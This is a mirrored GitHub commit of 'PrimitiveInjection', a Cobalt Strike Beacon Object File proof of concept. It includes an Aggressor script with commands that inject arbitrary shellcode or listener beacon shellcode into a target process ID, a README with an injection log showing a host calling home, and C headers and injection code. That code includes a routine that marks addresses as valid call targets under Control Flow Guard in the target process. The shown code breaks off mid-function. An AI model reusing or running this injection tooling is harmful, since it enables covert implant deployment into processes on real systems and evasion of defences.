mirror of
https://github.com/trickster0/PrimitiveInjection
synced 2026-06-08 17:55:08 +00:00
Init
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
BOFNAME := primitiveinj
|
||||
CC_x64 := x86_64-w64-mingw32-gcc
|
||||
|
||||
all:
|
||||
$(CC_x64) -o $(BOFNAME).x64.o -c entry.c
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
beacon_command_register(
|
||||
"primitive_shinject",
|
||||
"Primitive Injection",
|
||||
"Usage: primitive_shinject PID path_to_bin\n");
|
||||
|
||||
beacon_command_register(
|
||||
"primitive_inject",
|
||||
"Primitive Injection",
|
||||
"Usage: primitive_shinject PID listener_name");
|
||||
|
||||
alias primitive_shinject {
|
||||
local('$handle $data $args $sc_data');
|
||||
|
||||
# figure out the arch of this session
|
||||
$barch = barch($1);
|
||||
|
||||
# read in the right BOF file
|
||||
$handle = openf(script_resource("primitiveinj. $+ $barch $+ .o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
$sc_handle = openf($3);
|
||||
$sc_data = readb($sc_handle, -1);
|
||||
closef($sc_handle);
|
||||
|
||||
# pack our arguments
|
||||
$args = bof_pack($1, "ib", $2, $sc_data);
|
||||
|
||||
btask($1, "Primitive Injection (thanos)");
|
||||
btask($1, "Reading shellcode from: $+ $3");
|
||||
|
||||
# execute it.
|
||||
beacon_inline_execute($1, $data, "go", $args);
|
||||
}
|
||||
|
||||
alias primitive_inject {
|
||||
local('$handle $data $args');
|
||||
|
||||
# figure out the arch of this session
|
||||
$barch = barch($1);
|
||||
|
||||
|
||||
# read in the right BOF file
|
||||
$handle = openf(script_resource("primitiveinj. $+ $barch $+ .o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
if (listener_info($3) is $null) {
|
||||
berror($1, "Could not find listener $3");
|
||||
}
|
||||
else {
|
||||
# Exit function is thread, as we're injecting into an existing process we likely don't wanna terminate on beacon exit.
|
||||
$sc_data = payload($3, "x64", "thread");
|
||||
|
||||
# pack our arguments
|
||||
$args = bof_pack($1, "ib", $2, $sc_data);
|
||||
|
||||
btask($1, "Primitive Injection (thanos)");
|
||||
btask($1, "Using $+ $3 $+ listener for beacon shellcode generation.");
|
||||
|
||||
# execute it.
|
||||
beacon_inline_execute($1, $data, "go", $args);
|
||||
}
|
||||
}
|
||||
@@ -1,2 +1,81 @@
|
||||
# PrimitiveInjection
|
||||
PrimitiveInjection by using Read, Write and Allocation Primitives.
|
||||
PrimitiveInjection BOF POC by using Read, Write and Allocation Primitives.
|
||||
|
||||
## Usage
|
||||
|
||||
This BOF registers 2 commands,
|
||||
primitive_shinject to inject any shellcode to a PID.
|
||||
```
|
||||
primitive_shinject PID path_to_bin
|
||||
3/08 13:06:21 UTC [task] <> Primitive Injection (thanos)
|
||||
03/08 13:06:21 UTC [task] <> Reading shellcode from: /home/test/beacon.bin
|
||||
03/08 13:06:27 UTC [checkin] host called home, sent: 321455 bytes
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Peb Address: 0x0000000001118000
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Read 8 bytes
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Heap Base Addr: 0000000001330000
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Heap Allocation: 000000000A0FBBB0
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Wrote 1232 bytes
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Wrote 8 bytes
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Heap Allocation: 000000000169AD30
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Wrote 1232 bytes
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Wrote 8 bytes
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Heap Allocation: 000000000169C700
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Wrote 1232 bytes
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Wrote 8 bytes
|
||||
|
||||
|
||||
03/08 13:06:28 UTC [output]
|
||||
received output:
|
||||
[+] Wrote 312271 bytes
|
||||
```
|
||||
primitive_inject to inject to a PID the shellcode of a listener in cobalt
|
||||
```
|
||||
primitive_inject PID listener_name
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Cobalt Strike 4.1.
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
@@ -0,0 +1,365 @@
|
||||
#pragma once
|
||||
#pragma intrinsic(memcmp)
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);
|
||||
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$GetExitCodeThread(HANDLE hThread,LPDWORD lpExitCode);
|
||||
WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);
|
||||
WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
|
||||
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
|
||||
WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
|
||||
WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags,SIZE_T uBytes);
|
||||
WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);
|
||||
WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE) -1)
|
||||
#define NtCurrentThread() ((HANDLE) -2)
|
||||
#define RVA(type, base_addr, rva) (type)((ULONG_PTR) base_addr + rva)
|
||||
|
||||
|
||||
typedef VOID(KNORMAL_ROUTINE) (
|
||||
IN PVOID NormalContext,
|
||||
IN PVOID SystemArgument1,
|
||||
IN PVOID SystemArgument2);
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef struct _PS_ATTRIBUTE
|
||||
{
|
||||
ULONG Attribute;
|
||||
SIZE_T Size;
|
||||
union
|
||||
{
|
||||
ULONG Value;
|
||||
PVOID ValuePtr;
|
||||
} u1;
|
||||
PSIZE_T ReturnLength;
|
||||
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
|
||||
|
||||
#ifndef InitializeObjectAttributes
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
#endif
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
|
||||
typedef struct _USER_STACK
|
||||
{
|
||||
PVOID FixedStackBase;
|
||||
PVOID FixedStackLimit;
|
||||
PVOID ExpandableStackBase;
|
||||
PVOID ExpandableStackLimit;
|
||||
PVOID ExpandableStackBottom;
|
||||
} USER_STACK, *PUSER_STACK;
|
||||
|
||||
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtCreateThreadEx)(
|
||||
OUT PHANDLE ThreadHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID StartRoutine,
|
||||
IN PVOID Argument OPTIONAL,
|
||||
IN ULONG CreateFlags,
|
||||
IN SIZE_T ZeroBits,
|
||||
IN SIZE_T StackSize,
|
||||
IN SIZE_T MaximumStackSize,
|
||||
IN PVOID AttributeList OPTIONAL);
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtQueueApcThread)(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN PKNORMAL_ROUTINE ApcRoutine,
|
||||
IN PVOID ApcArgument1 OPTIONAL,
|
||||
IN PVOID ApcArgument2 OPTIONAL,
|
||||
IN PVOID ApcArgument3 OPTIONAL);
|
||||
|
||||
typedef DWORD(NTAPI*pRtlQueryDepthSList)(ULONG_PTR* pValue);
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtResumeThread)(
|
||||
IN HANDLE ThreadHandle,
|
||||
OUT PULONG SuspendCount OPTIONAL);
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtTestAlert)();
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
|
||||
typedef void* PRTL_USER_PROCESS_PARAMETERS;
|
||||
typedef void* PPS_POST_PROCESS_INIT_ROUTINE;
|
||||
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _PEB {
|
||||
BYTE InheritedAddressSpace;
|
||||
BYTE ReadImageFileExecOptions;
|
||||
BYTE BeingDebugged;
|
||||
BYTE _SYSTEM_DEPENDENT_01;
|
||||
|
||||
LPVOID Mutant;
|
||||
LPVOID ImageBaseAddress;
|
||||
|
||||
PPEB_LDR_DATA Ldr;
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
||||
LPVOID SubSystemData;
|
||||
LPVOID ProcessHeap;
|
||||
LPVOID FastPebLock;
|
||||
LPVOID _SYSTEM_DEPENDENT_02;
|
||||
LPVOID _SYSTEM_DEPENDENT_03;
|
||||
LPVOID _SYSTEM_DEPENDENT_04;
|
||||
union {
|
||||
LPVOID KernelCallbackTable;
|
||||
LPVOID UserSharedInfoPtr;
|
||||
};
|
||||
DWORD SystemReserved;
|
||||
DWORD _SYSTEM_DEPENDENT_05;
|
||||
LPVOID _SYSTEM_DEPENDENT_06;
|
||||
LPVOID TlsExpansionCounter;
|
||||
LPVOID TlsBitmap;
|
||||
DWORD TlsBitmapBits[2];
|
||||
LPVOID ReadOnlySharedMemoryBase;
|
||||
LPVOID _SYSTEM_DEPENDENT_07;
|
||||
LPVOID ReadOnlyStaticServerData;
|
||||
LPVOID AnsiCodePageData;
|
||||
LPVOID OemCodePageData;
|
||||
LPVOID UnicodeCaseTableData;
|
||||
DWORD NumberOfProcessors;
|
||||
union
|
||||
{
|
||||
DWORD NtGlobalFlag;
|
||||
LPVOID dummy02;
|
||||
};
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
LPVOID HeapSegmentReserve;
|
||||
LPVOID HeapSegmentCommit;
|
||||
LPVOID HeapDeCommitTotalFreeThreshold;
|
||||
LPVOID HeapDeCommitFreeBlockThreshold;
|
||||
DWORD NumberOfHeaps;
|
||||
DWORD MaximumNumberOfHeaps;
|
||||
LPVOID ProcessHeaps;
|
||||
LPVOID GdiSharedHandleTable;
|
||||
LPVOID ProcessStarterHelper;
|
||||
LPVOID GdiDCAttributeList;
|
||||
LPVOID LoaderLock;
|
||||
DWORD OSMajorVersion;
|
||||
DWORD OSMinorVersion;
|
||||
WORD OSBuildNumber;
|
||||
WORD OSCSDVersion;
|
||||
DWORD OSPlatformId;
|
||||
DWORD ImageSubsystem;
|
||||
DWORD ImageSubsystemMajorVersion;
|
||||
LPVOID ImageSubsystemMinorVersion;
|
||||
union
|
||||
{
|
||||
LPVOID ImageProcessAffinityMask;
|
||||
LPVOID ActiveProcessAffinityMask;
|
||||
};
|
||||
#ifdef _WIN64
|
||||
LPVOID GdiHandleBuffer[64];
|
||||
#else
|
||||
LLPVOID GdiHandleBuffer[32];
|
||||
#endif
|
||||
LPVOID PostProcessInitRoutine;
|
||||
LPVOID TlsExpansionBitmap;
|
||||
DWORD TlsExpansionBitmapBits[32];
|
||||
LPVOID SessionId;
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
LPVOID pShimData;
|
||||
LPVOID AppCompatInfo;
|
||||
PUNICODE_STRING CSDVersion;
|
||||
LPVOID ActivationContextData;
|
||||
LPVOID ProcessAssemblyStorageMap;
|
||||
LPVOID SystemDefaultActivationContextData;
|
||||
LPVOID SystemAssemblyStorageMap;
|
||||
LPVOID MinimumStackCommit;
|
||||
} PEB, * PPEB;
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION
|
||||
{
|
||||
NTSTATUS ExitStatus;
|
||||
PPEB PebBaseAddress;
|
||||
KAFFINITY AffinityMask;
|
||||
KPRIORITY BasePriority;
|
||||
HANDLE UniqueProcessId;
|
||||
HANDLE InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
|
||||
ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
|
||||
ProcessIoCounters, // q: IO_COUNTERS
|
||||
ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2
|
||||
ProcessTimes, // q: KERNEL_USER_TIMES
|
||||
ProcessBasePriority, // s: KPRIORITY
|
||||
ProcessRaisePriority, // s: ULONG
|
||||
ProcessDebugPort, // q: HANDLE
|
||||
ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT
|
||||
ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
|
||||
ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10
|
||||
ProcessLdtSize, // s: PROCESS_LDT_SIZE
|
||||
ProcessDefaultHardErrorMode, // qs: ULONG
|
||||
ProcessIoPortHandlers, // (kernel-mode only) // PROCESS_IO_PORT_HANDLER_INFORMATION
|
||||
ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
|
||||
ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
|
||||
ProcessUserModeIOPL, // qs: ULONG (requires SeTcbPrivilege)
|
||||
ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
|
||||
ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
|
||||
ProcessWx86Information, // qs: ULONG (requires SeTcbPrivilege) (VdmAllowed)
|
||||
ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20
|
||||
ProcessAffinityMask, // qs: KAFFINITY, qs: GROUP_AFFINITY
|
||||
ProcessPriorityBoost, // qs: ULONG
|
||||
ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
|
||||
ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
|
||||
ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
|
||||
ProcessWow64Information, // q: ULONG_PTR
|
||||
ProcessImageFileName, // q: UNICODE_STRING
|
||||
ProcessLUIDDeviceMapsEnabled, // q: ULONG
|
||||
ProcessBreakOnTermination, // qs: ULONG
|
||||
ProcessDebugObjectHandle, // q: HANDLE // 30
|
||||
ProcessDebugFlags, // qs: ULONG
|
||||
ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
|
||||
ProcessIoPriority, // qs: IO_PRIORITY_HINT
|
||||
ProcessExecuteFlags, // qs: ULONG
|
||||
ProcessTlsInformation, // PROCESS_TLS_INFORMATION // ProcessResourceManagement
|
||||
ProcessCookie, // q: ULONG
|
||||
ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
|
||||
ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA
|
||||
ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION
|
||||
ProcessInstrumentationCallback, // s: PVOID or PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40
|
||||
ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
|
||||
ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
|
||||
ProcessImageFileNameWin32, // q: UNICODE_STRING
|
||||
ProcessImageFileMapping, // q: HANDLE (input)
|
||||
ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
|
||||
ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
|
||||
ProcessGroupInformation, // q: USHORT[]
|
||||
ProcessTokenVirtualizationEnabled, // s: ULONG
|
||||
ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation
|
||||
ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50
|
||||
ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
|
||||
ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
|
||||
ProcessDynamicFunctionTableInformation,
|
||||
ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables
|
||||
ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
|
||||
ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
|
||||
ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL
|
||||
ProcessHandleTable, // q: ULONG[] // since WINBLUE
|
||||
ProcessCheckStackExtentsMode, // qs: ULONG // KPROCESS->CheckStackExtents (CFG)
|
||||
ProcessCommandLineInformation, // q: UNICODE_STRING // 60
|
||||
ProcessProtectionInformation, // q: PS_PROTECTION
|
||||
ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD
|
||||
ProcessFaultInformation, // PROCESS_FAULT_INFORMATION
|
||||
ProcessTelemetryIdInformation, // q: PROCESS_TELEMETRY_ID_INFORMATION
|
||||
ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION
|
||||
ProcessDefaultCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5]
|
||||
ProcessAllowedCpuSetsInformation, // SYSTEM_CPU_SET_INFORMATION[5]
|
||||
ProcessSubsystemProcess,
|
||||
ProcessJobMemoryInformation, // q: PROCESS_JOB_MEMORY_INFO
|
||||
ProcessInPrivate, // s: void // ETW // since THRESHOLD2 // 70
|
||||
ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables
|
||||
ProcessIumChallengeResponse,
|
||||
ProcessChildProcessInformation, // q: PROCESS_CHILD_PROCESS_INFORMATION
|
||||
ProcessHighGraphicsPriorityInformation, // qs: BOOLEAN (requires SeTcbPrivilege)
|
||||
ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2
|
||||
ProcessEnergyValues, // q: PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES
|
||||
ProcessPowerThrottlingState, // qs: POWER_THROTTLING_PROCESS_STATE
|
||||
ProcessReserved3Information, // ProcessActivityThrottlePolicy // PROCESS_ACTIVITY_THROTTLE_POLICY
|
||||
ProcessWin32kSyscallFilterInformation, // q: WIN32K_SYSCALL_FILTER
|
||||
ProcessDisableSystemAllowedCpuSets, // 80
|
||||
ProcessWakeInformation, // PROCESS_WAKE_INFORMATION
|
||||
ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE
|
||||
ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3
|
||||
ProcessCaptureTrustletLiveDump,
|
||||
ProcessTelemetryCoverage,
|
||||
ProcessEnclaveInformation,
|
||||
ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION
|
||||
ProcessUptimeInformation, // q: PROCESS_UPTIME_INFORMATION
|
||||
ProcessImageSection, // q: HANDLE
|
||||
ProcessDebugAuthInformation, // since REDSTONE4 // 90
|
||||
ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT
|
||||
ProcessSequenceNumber, // q: ULONGLONG
|
||||
ProcessLoaderDetour, // since REDSTONE5
|
||||
ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION
|
||||
ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION
|
||||
ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION
|
||||
ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION
|
||||
ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1
|
||||
ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION
|
||||
ProcessAltSystemCallInformation, // qs: BOOLEAN (kernel-mode only) // INT2E // since 20H1 // 100
|
||||
ProcessDynamicEHContinuationTargets, // PROCESS_DYNAMIC_EH_CONTINUATION_TARGETS_INFORMATION
|
||||
ProcessDynamicEnforcedCetCompatibleRanges, // PROCESS_DYNAMIC_ENFORCED_ADDRESS_RANGE_INFORMATION // since 20H2
|
||||
ProcessCreateStateChange, // since WIN11
|
||||
ProcessApplyStateChange,
|
||||
ProcessEnableOptionalXStateFeatures,
|
||||
ProcessAltPrefetchParam, // since 22H1
|
||||
ProcessAssignCpuPartitions,
|
||||
ProcessPriorityClassEx,
|
||||
ProcessMembershipInformation,
|
||||
ProcessEffectiveIoPriority,
|
||||
ProcessEffectivePagePriority,
|
||||
MaxProcessInfoClass
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtQueryInformationProcess) (
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtWaitForSingleObject)(
|
||||
HANDLE Handle,
|
||||
BOOLEAN Alertable,
|
||||
PLARGE_INTEGER Timeout
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtContinue)(
|
||||
PCONTEXT ThreadContext,
|
||||
BOOLEAN RaiseAlert);
|
||||
|
||||
typedef NTSTATUS(NTAPI*pNtGetContextThread)(
|
||||
HANDLE ThreadHandle,
|
||||
PCONTEXT pContext);
|
||||
|
||||
typedef NTSTATUS(WINAPI*pSetProcessValidCallTargets)(
|
||||
HANDLE hProcess,
|
||||
LPVOID VirtualAddress,
|
||||
SIZE_T RegionSize,
|
||||
ULONG NumberOfOffsets,
|
||||
PCFG_CALL_TARGET_INFO CfgCallInfo
|
||||
);
|
||||
@@ -0,0 +1,274 @@
|
||||
#ifndef _WIN64
|
||||
#error This code must be compiled with a 64-bit version of MSVC
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
//#include <tlhelp32.h>
|
||||
#include "beacon.h"
|
||||
#include "dep.h"
|
||||
|
||||
//#pragma comment(lib, "advapi32.lib")
|
||||
//#pragma comment(lib, "shell32.lib")
|
||||
//#pragma comment(lib, "user32.lib")
|
||||
//#pragma warning(disable : 4047)
|
||||
|
||||
PVOID CustomCopy(PVOID Destination, CONST PVOID Source, SIZE_T Length)
|
||||
{
|
||||
PBYTE D = (PBYTE)Destination;
|
||||
PBYTE S = (PBYTE)Source;
|
||||
|
||||
while (Length--)
|
||||
*D++ = *S++;
|
||||
|
||||
return Destination;
|
||||
}
|
||||
|
||||
VOID WINAPI CfgAddressAdd(ULONG_PTR ImageBase, ULONG_PTR Function, HANDLE hProc, int offset)
|
||||
{
|
||||
CFG_CALL_TARGET_INFO Cfg = { 0 };
|
||||
SIZE_T Len = { 0 };
|
||||
PIMAGE_NT_HEADERS Nth = NULL;
|
||||
|
||||
Nth = (PIMAGE_NT_HEADERS)RVA(PIMAGE_DOS_HEADER, ImageBase, ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
|
||||
Len = (Nth->OptionalHeader.SizeOfImage + 0x1000 - 1) & ~(0x1000 - 1);
|
||||
|
||||
Cfg.Flags = CFG_CALL_TARGET_VALID;
|
||||
Cfg.Offset = Function - ImageBase;
|
||||
pSetProcessValidCallTargets FSetProcessValidCallTargets = (pSetProcessValidCallTargets)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernelbase.dll"), "SetProcessValidCallTargets");
|
||||
BOOL res = FSetProcessValidCallTargets(hProc, (PVOID)ImageBase, Len, offset, &Cfg);
|
||||
if (!res) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"[X] Failed to disable CFG on NtContinue\n");
|
||||
}
|
||||
};
|
||||
|
||||
LPVOID getPeb(HANDLE hProc, HMODULE module) {
|
||||
pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)KERNEL32$GetProcAddress(module, "NtQueryInformationProcess");
|
||||
PROCESS_BASIC_INFORMATION info;
|
||||
MSVCRT$memset(&info, 0, sizeof(info));
|
||||
